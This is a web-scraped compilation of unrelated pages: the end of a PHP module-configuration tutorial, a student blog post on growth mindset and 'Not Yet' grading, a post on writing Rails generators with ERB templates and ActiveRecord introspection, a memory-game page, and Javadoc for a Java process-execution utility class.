$configListener->setMergedConfig($config);
}
}
|
At this point, the merged application configuration will no longer contain the key some_key.
Note
If a cached config is used by the ModuleManager, the EVENT_MERGE_CONFIG event will not be triggered. However, typically that means that what is cached will be what was originally manipulated by your listener.
To cap off the tutorial, let’s review how and when configuration is defined and merged.
The source code of this file is hosted on GitHub. Everyone can update and fix errors in this document with few clicks - no downloads needed.


“Neuroplasticity is defined as the selective organizing of connections between neurons in our brains”
Malleable intelligence is the idea that the brain is not static, it is constantly creating and dissolving connections, reshaping itself. Research has shown that those with an understanding of malleable intelligence achieve better than their peers in school AND that when the idea of malleable intelligence is actively taught to students they too begin to perform better than their peers who still lack this knowledge.
Why? Part of this is because it tells students that through numerous attempts and hard work they will be able to reshape and train their brains in ways they previously thought impossible. Esentially giving hope (backed by scientific reason) to people that they can learn a new and challenging concept, who would otherwise have made the assumption they are simply not capable. You can increase neuroplasticity through repetition, reframing work into a more relatable context and education on malleable intelligence.
An interesting article around Growth Mindset and how it can help change the way you learn.
Growth mindset: Can a theory of intelligence change the way you learn?
In a Fixed Mindset a person believes that their quialities such as intelligence or talent are fixed. That what you are born with is what you have to work with and there is not much point in perserveering when things aren't working out. They're focused on the idea of natural talent taking you in a direction that is appropriate for the skills you currently have.
Whereas in a Gowth Mindset a person understands that those qualities are capable of being developed through hardwork and dedication or reframing the way you are looking at a problem. To them their current intelligence and talent are just starting points and don't necessarily dictate where they will end up as they can mould themselves into something different. This approach helps foster an appreciation for learning and respect for the process others have gone through to become much more than who they started out as.
In the table below are some contrasts between behaviours and viewpoints of those working with Fixed vs Growth Mindsets.
| Fixed Mindset | Growth Mindset |
|---|---|
| Abilities are innate and unchangeable | Improvement comes through practice |
| Failure is permanent | Failure is a chance to lean or pivot |
| View critical feedback as a personal attack | Chance to improve and develope new systems |
| More likely to choose easier tasks and put in minimal effort - if talent is fixed, why bother trying to improve? | More likely to take on challenging tasks - see them as an opportunity to improve or learn |
| Likely to give up when facing obstacles | View obstacles as a chance to experiment and solve problems |
| Focus is on measurable accomplishments | Focus is on a journey of continual improvement |
| Less likely to take creative risks | Creative risks are a way to innovate and improve |
When observing students it's been found that those who don't quite meet the mark and recieve a grade of 'Not Yet' over that of the classic 'Fail' respond in a much more positive manner and are more likely to succeed next time round.
This is because of the connetation that is associated with each word. 'Fail' bluntly states that you did not reach the mark and only refers to your poor performance, while 'Not Yet' suggests that that you are on your way to reaching the mark and leads students to focus on the future attempt when they are at the mark and what more they need to do to get there.
The idea of recieving 'Not Yet' grades over 'Fail' work well when paired with teaching of Growth Mindsets. The Growth Mindset is going to acknowledge the things you did right along the way give you the resilience you need to get back out there and give it another crack and fill in your blanks. Whereas a Fixed Mindset, from the point of failure can lead to believing that because you don’t have what it takes to get there now you never will. You'd be immediately rulling out the possibility of improvement by jumping to the conclusion that nothing could be gained from more work or tackling the problem differently.
I was surprised and fascinated at what all this research has shown, just by understanding that you can do better allows for more drive and resilience when it comes to tough problems. I’m glad that I now know a bit more about how the mind works and that if I transition towards more of a Growth Mindset I’ll be putting myself in a better position to tackle my studies and life.


"I'd rather write programs to write programs than write programs"
- Dick Sites
This comes from a compiler writer, one of the wise elders of our profession, but it applies even to more mundane activities such as designing a web page. Which can be seen as a sort of code-generation machine on its own, since we're usually doing quite a bit of logic to output the right HTML/JS/CSS.
Human beings are notoriously bad at sweating the details.
Accordingly, any kind of hand-hacking of programs is a rich source of delays and errors.
The simpler and more abstracted your program specification can be, the more likely it is that the human designer will have gotten it right.
Generated code (at every level) is almost always cheaper and more reliable than hand-hacked.
We all know this is true (it's why we have compilers and interpreters, after all) but we often don't think about the implications.
High-level-language code that's repetitive and mind-numbing for humans to write is just as productive a target for a code generator as machine code.
It pays to use code generators when they can raise the level of abstraction - that is, when the specification language for the generator is simpler than the generated code, and the code doesn't have to be hand-hacked afterwards.
- The Art of Unix Programming
This quote was from a book written in 2003, funny how the world hasn't changed a lot, has it?
This is not that different from the copy-paste technique, it only automates away the find-and-replace part. Still, this small abstraction over the changing part is already a gamechanger.
In case you are not familiar with those, here are some plugins for most text editors:
I believe all of these use the TextMate snippet syntax, which is good for sharing the simpler snippets.
Of course, advanced users of these packages can customize snippets to do more, sometimes even call code (yasnippet can call Emacs Lisp, ultisnips can call Python). This is usually not portable but works better for more advanced snippets.
Personal anecdote: learning to use those has saved me from wrist inflammation, which is a big problem in this line of work.
So, when you have a framework in place, you know how the files should be laid out in your application, and you don't want to keep opening new files and expanding them manually, what do you do? Enter Rails generators.
Rails generators are a small DSL built on top of Thor (as are most of the commands in the `rails` executable) that allows one to write code that writes code. You can read more about its basics in the official documentation.
For simpler scenarios, there is no necessity of writing a full-fledged generator, since you are usually well-served by a medium-to-large code snippet.
Due to Ruby's extremely dynamic nature, we are able to perform some quite complex operations to generate our code. And we can thank most of these to:
The already mentioned TAoUP has a section on what it calls "metaclass hacking":
I considered writing a glue layer that would explicitly know about the structure of all three classes and use that knowledge to grovel through the initializer creating matching objects, but rejected that idea because new class members were likely to be added over time as the configuration language grew new features. If the object-creation code were written in the obvious way, it would once again be fragile and tend to fall out of synchronization when either the class definitions or the initializer structure dumped by the –configdump report generator changed. Again, a recipe for endless bugs.
The better way would be data-driven programming - code that would analyze the shape and members of the initializer, query the class definitions themselves about their members, and then impedance-match the two sets.
Lisp and Java programmers call this introspection; in some other object-oriented languages it's called metaclass hacking and is generally considered fearsomely esoteric, deep black magic. Most object-oriented languages don't support it at all; in those that do (Perl and Java among them), it tends to be a complicated and fragile undertaking. But Python's facilities for introspection and metaclass hacking are unusually accessible.
Thankfully, Ruby's facilites for this are very accessible too!
Some ActiveRecord methods I used recently that has been quite helpful:
attribute_types
These are integrated with the ActiveModel API to provide model name introspections, conversions, translations and validations, among other features.
# [5] pry(main)> User.attribute_types # => {"id"=> #<ActiveModel::Type::Integer:0x0000560c033c4708 @limit=8, @precision=nil, @range=-9223372036854775808...9223372036854775808, @scale=nil>, "email"=>#<ActiveModel::Type::String:0x0000560c0340c058 @limit=nil, @precision=nil, @scale=nil>, "encrypted_password"=>#<ActiveModel::Type::String:0x0000560c0340c058 @limit=nil, @precision=nil, @scale=nil>, "reset_password_token"=>#<ActiveModel::Type::String:0x0000560c0340c058 @limit=nil, @precision=nil, @scale=nil>, "reset_password_sent_at"=> #<ActiveRecord::ConnectionAdapters::PostgreSQL::OID::DateTime:0x0000560c03417700 @limit=nil, @precision=nil, @scale=nil>, "status"=> #<ActiveRecord::Enum::EnumType:0x00007f352833dd80 @mapping={"inactive"=>0, "active"=>1, "pending_approval"=>2}, @name="status", @subtype= #<ActiveModel::Type::Integer:0x0000560c033c4870 @limit=4, @precision=nil, @range=-2147483648...2147483648, @scale=nil>>}
reflect_on_all_associations
From the documentation:
Reflection enables the ability to examine the associations and aggregations of Active Record classes and objects. This information, for example, can be used in a form builder that takes an Active Record object and creates input fields for all of the attributes depending on their type and displays the associations to other objects.
There's a whole book on the subject of metaprogramming Ruby, you should read it if you haven't already. And if you want your black belt on metaprogramming techniques, you can reach for Paul Graham's On Lisp.
Rails' generators include some helper methods to work with ERB templates, which are:
ERB (Embedded RuBy) is a feature of Ruby that enables you to conveniently generate any kind of text, in any quantity, from templates. The templates themselves combine plain text with Ruby code for variable substitution and flow control, making them easy to write and maintain.
In case you need a quick introduction to their syntax and capabilities, see this blog post.
Combined with the introspection APIs shown above, it is not too difficult to create quite complex generators that are "self-referential". One common pattern for this in Ruby would be:
def some_generator_method(class_name) class_name.constantize.attribute_types.map { |attribute| # your logic goes here... } end
Methods defined inside a generator are automatically in scope of the templates accessed by it, so you can use that for isolating the logic that goes into some more advanced code generation, and keep the templates to structure and layout the data.
Here's an example ERB template from a generator we created recently, one that automatically writes test code for a GraphQL resource:
RSpec.describe '<%= model_class %>' do include_context 'GraphQL test' let!(:<%= model_class.underscore %>) { create(:<%= model_class.underscore %>) } let(:<%= model_class.underscore %>_attrs) { OpenStruct.new(attributes_for(:<%= model_class.underscore %>)) } describe 'query' do let(:expected_<%= model_class.underscore %>_response) { hash_including( id: <%= model_class.underscore %>.id, <% model_attributes.each do |name, _| %> <%= name.camelize(:lower) %>: <%= model_class.underscore %>.<%= name.underscore %>, <% end %> ) } describe 'all' do let(:query) do <<~GRAPHQL query { <%= model_class.pluralize.camelize(:lower) %> { edges { node { id <% model_attributes.each do |name, _| %> <%= name.camelize(:lower) %> <% end %> } } } } GRAPHQL end it 'returns all <%= model_class.pluralize.underscore %>' do expect(response).to include( data: hash_including( <%= model_class.pluralize.camelize(:lower) %>: hash_including( edges: array_including(hash_including( node: expected_<%= model_class.underscore %>_response )) ) ) ) end end end end
The Ruby community is known for its adherence to TDD practices. Rails' generators are no exception, they come with their own convenience methods for testing the generated files.
Unfortunately the official documentation is lacking comprehensive material on how to actually test the generators. There is a blog post by the maintainer of the montrose gem, which has helped us a lot.
Rails is biased towards minitest, which is not much of a problem if you are a RSpec fan since it has a spec-like syntax. There is ammeter if you really want to use RSpec, though.


Rememory
Share on Facebook
Your clicks:
Score:
0
/
Start Easy
Start Medium
Start Hard
Start Insane
Restart
Menu
Congrats!
You complete the game after
seconds
and
Clicks!
Do you want to play again?
No? Press menu then🤦♂
Yes


public class ProcessUtilities
extends java.lang.Object
Process
and returning corresponding
ProcessUtilities.ExecutionResult
s.| Modifier and Type | Class and Description |
|---|---|
class |
ProcessUtilities.ExecutionResult
This class provides the results of the execution of a command via
executeCommand(String[], File) . |
| Modifier and Type | Method and Description |
|---|---|
ProcessUtilities.ExecutionResult |
executeCommand(java.lang.String[] command,
java.io.File workingDirectory)
Executes the given command as a
Process in the current Runtime . |
java.lang.String[] |
extendCommand(java.lang.String[] command,
java.lang.String commandElement)
Returns an extended array by appending the given element at the end of the given array.
|
java.lang.String |
getCommandString(java.lang.String[] command)
Returns a single string consisting of the elements of the given array in ascending order of their index separated
by a single whitespace.
|
static ProcessUtilities |
getInstance()
Returns the single instance of the
ProcessUtilities . |
java.lang.String |
readStream(java.io.InputStream stream)
Reads the data from the given
InputStream and returns it as a String . |
public static ProcessUtilities getInstance()
ProcessUtilities
.ProcessUtilities
public ProcessUtilities.ExecutionResult executeCommand(java.lang.String[] command, java.io.File workingDirectory)
Process
in the current Runtime
.command
- the command that shall be executed; should never be empty or null
itself as
well as any of its elementsworkingDirectory
- the working directory of the process created by this method for executing the given
command; can be null
if the process should use the directory in which the tool is executedProcessUtilities.ExecutionResult
of the process executing the given command; never null
public java.lang.String readStream(java.io.InputStream stream)
InputStream
and returns it as a String
.stream
- the stream from which the data shall be readpublic java.lang.String[] extendCommand(java.lang.String[] command, java.lang.String commandElement)
executeCommand(String[], File)
, which consists
of multiple parts that have to be combined dynamically, e.g., at runtime.command
- the array to extendcommandElement
- the element to be added at the end of arraypublic java.lang.String getCommandString(java.lang.String[] command)
executeCommand(String[], File)
has to be logged or printed.command
- the array providing the elements for concatenation of a single stringnull
, if the array is null
or empty